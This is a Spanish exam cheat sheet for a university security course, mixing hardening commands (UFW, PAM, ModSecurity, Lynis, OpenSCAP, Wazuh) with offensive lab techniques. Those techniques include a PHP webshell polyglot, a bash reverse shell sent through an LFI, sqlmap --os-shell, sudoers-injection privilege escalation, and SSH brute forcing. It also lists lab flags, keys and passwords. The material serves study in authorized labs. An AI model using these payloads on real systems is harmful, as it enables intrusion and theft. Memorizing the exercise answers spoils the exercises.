

SSI Cheatsheet de Examen

Version corta con ejemplos claros de uso para todos los comandos. Incluye indice de PDF y marcadores para navegar rapido.

Indice

Checklist Inicial de Examen	2
Linux, Rutas y Logs	2
Nmap y Enumeracion	2
Firewall UFW y Politicas sysctl	2
PAM: Calidad de Password y Bloqueo de Login	3
Criptografia, GPG, OpenSSL y Hashes	3
Web: Directorios, Backups y Git Expuesto	3
SQL Injection y sqlmap	4
LFI, Subida de Ficheros y Reverse Shell	4
ModSecurity, OWASP CRS y Fail2ban	4
Lynis, OpenSCAP y Wazuh	5
SAST, Dependencias y DAST	5
SMB/Samba	5
Escalada de Privilegios y rbash	5
Ataques SSH/SFTP en Puerto No Estandar	6
Datos Concretos de Tus Practicas	6

Version corta del archivo unificado. Todos los comandos aparecen con uso y ejemplo concreto para copiar/adaptar rapido.

Palabras Clave para Ctrl+F

nmap, http-enum, ufw, sysctl, pam_pwquality, pam_faillock, openssl, gpg, hashcat, john, dirb, gobuster, feroxbuster, .git, sqlmap, LFI, reverse shell, ModSecurity, Fail2ban, Lynis, OpenSCAP, Wazuh, SMB, SUID, GTF0Bins, rbash, hydra, msfconsole.

Checklist Inicial de Examen

Antes de tocar nada: identifica usuario, IP, rutas, objetivo y guarda evidencias.

```
whoami
id
ip a
ip route
hostname
pwd
ls -la
sudo -l
nmap -sV 172.31.0.22 | tee nmap_servicios.txt
sudo ufw status verbose | tee /examen/U0302313_firewall.txt
```

Linux, Rutas y Logs

Rutas importantes: /etc/passwd, /etc/shadow, /etc/sudoers.d/, /var/log/auth.log, /var/www/html, /etc/apache2/, /etc/security/.

```
sudo grep -i "ssiuser" /var/log/auth.log | grep -i "password\|passwd\|changed\|updated\|failed\|sudo"
sudo systemctl status apache2
sudo systemctl restart apache2
sudo systemctl enable --now apache2
getent passwd tanda1
grep '^tanda1:' /etc/passwd
sudo chsh -s /bin/rbash tanda1
```

Nmap y Enumeracion

Usa -sV cuando pidan puerto, estado, servicio y version. Usa http-enum cuando pidan rutas web conocidas.

```
sudo nmap 192.168.8.0/24
sudo nmap 172.31.0.0/24
sudo nmap -sV 172.31.0.22 | tee nmap_servicios.txt
sudo nmap --script default 192.168.8.69
sudo nmap -sV --script http-enum -p 80,8080,443 172.31.0.22 | tee nmap_http_enum.txt
nmap --script smb-enum-shares,smb-os-discovery -p 139,445 172.31.0.22
nmap -sV -p 53 192.168.8.2
```

Firewall UFW y Politicas sysctl

Tipico de examen: abrir/cerrar puertos y desactivar politicas de red. Cambia 2313 por los 4 ultimos digitos de tu UO si lo piden.

```
sudo ufw enable
sudo ufw allow 22/tcp
sudo ufw allow 934/tcp
sudo ufw allow 386/tcp
sudo ufw deny 2313/tcp
sudo ufw status numbered
sudo ufw status verbose | tee /examen/U0302313_firewall.txt
sudo ufw delete 4
sudo nano /etc/sysctl.d/99-ssi-examen.conf
```

Contenido de ejemplo para /etc/sysctl.d/99-ssi-examen.conf:

```
net.ipv6.conf.all.accept_redirects = 0
net.ipv6.conf.default.accept_redirects = 0
net.ipv6.conf.all.accept_ra = 0
net.ipv6.conf.default.accept_ra = 0
net.ipv4.conf.all.accept_source_route = 0
net.ipv4.conf.default.accept_source_route = 0
net.ipv6.conf.all.accept_source_route = 0
net.ipv6.conf.default.accept_source_route = 0

sudo sysctl --system
sysctl net.ipv6.conf.all.accept_redirects net.ipv6.conf.default.accept_redirects
```

```
sysctl net.ipv6.conf.all.accept_ra net.ipv6.conf.default.accept_ra
sysctl net.ipv4.conf.all.accept_source_route net.ipv4.conf.default.accept_source_route
sysctl net.ipv6.conf.all.accept_source_route net.ipv6.conf.default.accept_source_route
```

PAM: Calidad de Password y Bloqueo de Login

Para password policy usa pam_pwquality; para bloqueo tras fallos usa pam_faillock.

```
sudo apt update
sudo apt install libpam-pwquality
sudo nano /etc/security/pwquality.conf
```

Ejemplo de /etc/security/pwquality.conf:

```
minlen = 22
dcredit = -4
grep -R "pam_pwquality" /etc/pam.d/common-password
sudo nano /etc/security/faillock.conf
```

Ejemplo de /etc/security/faillock.conf:

```
deny = 5
unlock_time = 1200
fail_interval = 900
sudo pam-auth-update --enable faillock
grep faillock /etc/pam.d/common-auth
faillock --user ssiuser
faillock --user ssiuser --reset
```

Criptografía, GPG, OpenSSL y Hashes

Recuerda: si un fichero fue cifrado primero simetrico y luego asimetrico, se descifra al revés.

```
fcrackzip -b -c 'aA1' -l 1-6 -u U0302313.zip
unzip U0302313.zip
cewl http://156.35.163.140:777 -m 1 -d 4 --with-numbers -w diccionario.txt
stegseek imagen_correcta.jpg diccionario.txt
steghide extract -sf imagen_correcta.jpg -p "Contact"
openssl enc -d -aes-192-cbc -in U0302313_mensaje.enc -out mensaje.txt -K 49d32a54f7d47a048c45a826ddf8843d -iv \
f7ab03abeca859e33bcf577713d855ea
base64 -d mensaje.txt > mensaje_final.txt
```

GPG:

```
gpg --list-secret-keys
gpg --import clave_publica_profesor.asc
gpg --output secreto.asc --decrypt secreto_uo302313.asc.asc
gpg --output secreto.txt --decrypt secreto.asc
gpg --armor --clearsign --local-user U0302313 --output secreto_firmado.asc secreto.txt
gpg --verify secreto_firmado.asc
gpg --armor --encrypt --sign -r KEYID_PROFESOR --local-user U0302313 -o salida.asc fichero.txt
```

Hashes, SSH y certificados:

```
hashid hash.txt
hashcat -m 1400 -a 0 hash.txt /usr/share/wordlists/rockyou.txt
john hash.txt --format=raw-sha256 --wordlist=/usr/share/wordlists/rockyou.txt
chmod 600 clave_privada_U0302313_id_rsa
ssh -i clave_privada_U0302313_id_rsa -p 2222 U0302313@156.35.163.140
openssl req -newkey rsa:2048 -keyout mi_clave_privada.key -out mi_csr.csr -nodes
openssl pkeyutl -encrypt -pubin -inkey public_key_profesores.pem -in token -out token_cifrado.enc
openssl dgst -sha256 -sign mi_clave_privada.key -out token_cifrado.sig token_cifrado.enc
```

Web: Directorios, Backups y Git Expuesto

Enumera rutas y extensiones sensibles: .bak, .old, .zip, .git, .txt.

```
dirb http://172.31.0.22 /usr/share/dirb/wordlists/common.txt
gobuster dir -u http://172.31.0.22/ -w /usr/share/wordlists/dirb/common.txt -x txt,html,old,bak,zip,git
feroxbuster -u http://172.31.0.22/ -w /usr/share/wordlists/dirb/common.txt -x txt,html,old,bak,zip,git -d 2 \
-t 20 -C 403 -o ferox_results.txt
wget -q -r -np -nH --cut-dirs=1 -R "index.html*" http://172.31.0.22/.git/ -P .git/
```

```
mkdir -p recovered_repo

git --git-dir=.git --work-tree=recovered_repo checkout -f

git --git-dir=.git --work-tree=. status

git --git-dir=.git --work-tree=. restore .

curl http://172.31.0.22/backups/config.bak

curl http://172.31.0.22/robots.txt

curl -I http://172.31.0.22/
```

SQL Injection y sqlmap

Primero identifica parametros en navegador/devtools; despues usa sqlmap con POST, GET o cookies.

```
sqlmap -u "http://172.31.0.40" --data="username=test&password=test" --batch --tables

sqlmap -u "http://172.31.0.40" --data="username=test&password=test" --batch -T products --dump

sqlmap -u "http://172.31.0.40" --data="username=test&password=test" --batch --dump

sqlmap -u "http://172.31.0.40/product.php?id=1" --batch --technique=B --dbms=SQLite

sqlmap -u "http://172.31.0.40/product.php?id=1" --batch --technique=U --dbms=SQLite

sqlmap -u "http://172.31.0.40/product.php?id=1" --batch --technique=T --dbms=SQLite --risk=3 --level=5

sqlmap -u "http://172.31.0.40/cookie_lab.php" --cookie="user=alice" --batch --level=2

sqlmap -u "http://172.31.0.50/rce_sqli.php?id=1" -p id --dbms=mysql --os-shell --web-root="/var/www/html" \
--batch

rm -rf /root/.local/share/sqlmap/output/172.31.0.40/*
```

LFI, Subida de Ficheros y Reverse Shell

Si la app valida solo extension, sube .php . jpg y ejecutalo mediante inclusion vulnerable. Prueba primero id.

```
cp eii.jpg polyglot.jpg

printf "\n<?php system(\$_GET['cmd']); ?>\n" >> polyglot.jpg

mv polyglot.jpg shell_polyglot.php.jpg

file shell_polyglot.php.jpg
```

Payload PHP limpio para subir como . jpg:

```
<?php
echo "BEGIN\n";
system($_GET['cmd'] ?? 'id');
echo "\nEND\n";
?>

nano lfi_payload.php.jpg

curl -s "http://172.31.0.90/view.php?page=uploads/shell_polyglot.php.jpg&cmd=id" | strings | grep -iE \
"uid=|gid="

nc -lvnp 4444
```

URL de ejemplo para lanzar reverse shell desde la LFI:

```
http://172.31.0.90/view.php?page=uploads/lfi_payload.php.jpg&cmd=bash -c 'bash -i >& \
/dev/tcp/172.31.0.10/4444 0>&1'
```

ModSecurity, OWASP CRS y Fail2ban

Para examen: activar motor, crear regla, probar con curl, mirar logs.

```
sudo apt install apache2 libapache2-mod-security2

sudo a2enmod proxy proxy_http security2

sudo cp /etc/modsecurity/modsecurity.conf-recommended /etc/modsecurity/modsecurity.conf

sudo nano /etc/modsecurity/modsecurity.conf
```

Dentro de /etc/modsecurity/modsecurity.conf:

```
SecRuleEngine On
```

Regla de ejemplo para moria=balrog, estado 401, mensaje you shall not pass!:

```
<IfModule security2_module>
    SecRuleEngine On
    SecRule ARGS:moria "@streq balrog" "id:100100,phase:2,deny,status:401,log,msg:'you shall not pass!'"
</IfModule>

sudo apachectl configtest

sudo systemctl restart apache2

curl -i "http://192.168.92.1/?moria=balrog"

sudo tail -n 50 /var/log/apache2/error.log

sudo tail -n 50 /var/log/modsec_audit.log

sudo cp crs-setup.conf.example /etc/modsecurity/crs-setup.conf

sudo cp -r rules/ /etc/modsecurity/

sudo apt install fail2ban
```

```
fail2ban-client status

fail2ban-client status sshd

fail2ban-client set sshd unbanip 192.168.92.50
```

Lynis, OpenSCAP y Wazuh

Auditoria: ejecuta, guarda informe y verifica resultado.

```
sudo apt install lynis

sudo lynis audit system | tee lynis.txt

oscap info scap-security-guide-0.1.79/ssg-ubuntu2404-ds.xml

oscap xccdf eval \
  --profile xccdf_org.ssgproject.content_profile_cis_level1_server \
  --results results.xml \
  --report report.html \
  scap-security-guide-0.1.79/ssg-ubuntu2404-ds.xml

oscap xccdf generate fix \
  --profile xccdf_org.ssgproject.content_profile_cis_level1_server \
  --fix-type bash \
  scap-security-guide-0.1.79/ssg-ubuntu2404-ds.xml > remediacion.sh

sudo systemctl enable --now wazuh-agent

tail -f /var/ossec/logs/alerts/alerts.log

/var/ossec/bin/wazuh-logtest
```

FIM en /var/ossec/etc/ossec.conf:

```
<syscheck>
  <directories realtime="yes" check_all="yes">/var/www/html,/etc/apache2</directories>
</syscheck>
```

SAST, Dependencias y DAST

Para AppSec: manual + SAST + dependencias + DAST.

```
dotnet add package SonarAnalyzer.CSharp

dotnet list package --vulnerable

docker pull zapproxy/zap-stable

docker run --network host -v $(pwd):/zap/wrk/:rw -t zapproxy/zap-stable zap-baseline.py -t \
  http://localhost:1080 -r informeZAP.html
```

SMB/Samba

Si ves 139/445, intenta enumerar shares anonimos y descargar pistas.

```
nmap --script smb-enum-shares,smb-os-discovery -p 139,445 172.31.0.22

smbclient -L //172.31.0.22/ -N

smbclient //172.31.0.22/public -N
```

Dentro de smbclient:

```
ls

pwd

get readme.txt

recurse

prompt

mget *
```

Escalada de Privilegios y rbash

Orden: sudo -l, SUID, GTF0Bins, escritura en sudoers o escape de shell restringida.

```
whoami

id

sudo -l

find / -perm -4000 -type f 2>/dev/null

echo "user1 ALL=(ALL) NOPASSWD: ALL" > /tmp/user1

sudo /bin/cp /tmp/user1 /etc/sudoers.d/user1

sudo -i

sudo python3 -c 'open("/etc/sudoers.d/user2","w+").write("user2 ALL=(ALL) NOPASSWD: ALL\n")'

echo "user3 ALL=(ALL) NOPASSWD: ALL" | sudo tee /etc/sudoers.d/user3

cat /etc/sudoers.d/user1 > /tmp/sudoers_user4

echo "user4 ALL=(ALL) NOPASSWD: ALL" >> /tmp/sudoers_user4

/usr/bin/dd if=/tmp/sudoers_user4 of=/etc/sudoers.d/user1

sudo useradd -m -s /bin/rbash tanda1
```

```
sudo passwd tanda1
getent passwd tanda1
su - tanda1
```

Escape de rbash con gcc:

```
#include <stdlib.h>
int main(){ system("/bin/sh"); return 0; }

nano shell.c
gcc shell.c -o shell
./shell
```

Ataques SSH/SFTP en Puerto No Estandar

SFTP usa autenticacion SSH. En laboratorio autorizado, si el puerto es 7777, fuerza -s 7777 en Hydra o RPORT 7777 en Metasploit.

```
printf "Anacleto\nBonifacio\n" > users.txt

hydra -L users.txt -P /usr/share/wordlists/rockyou.txt -s 7777 -t 4 -V 156.35.100.100 ssh

msfconsole

use auxiliary/scanner/ssh/ssh_login

set RHOSTS 156.35.100.100

set RPORT 7777

set USER_FILE users.txt

set PASS_FILE /usr/share/wordlists/rockyou.txt

set STOP_ON_SUCCESS true

show options

run
```

Datos Concretos de Tus Practicas

Solo lo mas bus cable del laboratorio propio; el documento largo conserva todo el detalle.

- CTF LAB02: SSI_P1_2ddcc781905bfe6a, SSI_P2_e8611d13d2aa4adf, SSI_P3_b659f42158bea1be.
- Cripto: usuario U0302313, steghide password Contact, algoritmo correcto AES-192-CBC.
- Cripto: IV f7ab03abeca859e33bcf577713d855ea, password local ATHFCHARACTERS.
- LAB05: Lynis baseline Hardening index 62; perfil OpenSCAP cis_level1_server.
- LAB08: subred 192.168.8.0/24; host expuesto 192.168.8.69; claves SSH duplicadas 192.168.8.48/192.168.8.69.
- LAB10-12: SQLi 172.31.0.40; webshell 172.31.0.50; objetivo step4 172.31.0.22; LFI 172.31.0.90.

```
/root/.local/share/sqlmap/output
http://172.31.0.22/.git/HEAD
http://172.31.0.22/backups/config.bak
DB_HOST=acme-db.internal
DB_USER=acme_app
DB_PASSWORD=SuperSecret123
//172.31.0.22/public
GTF0Bins: https://gtfobins.org/
```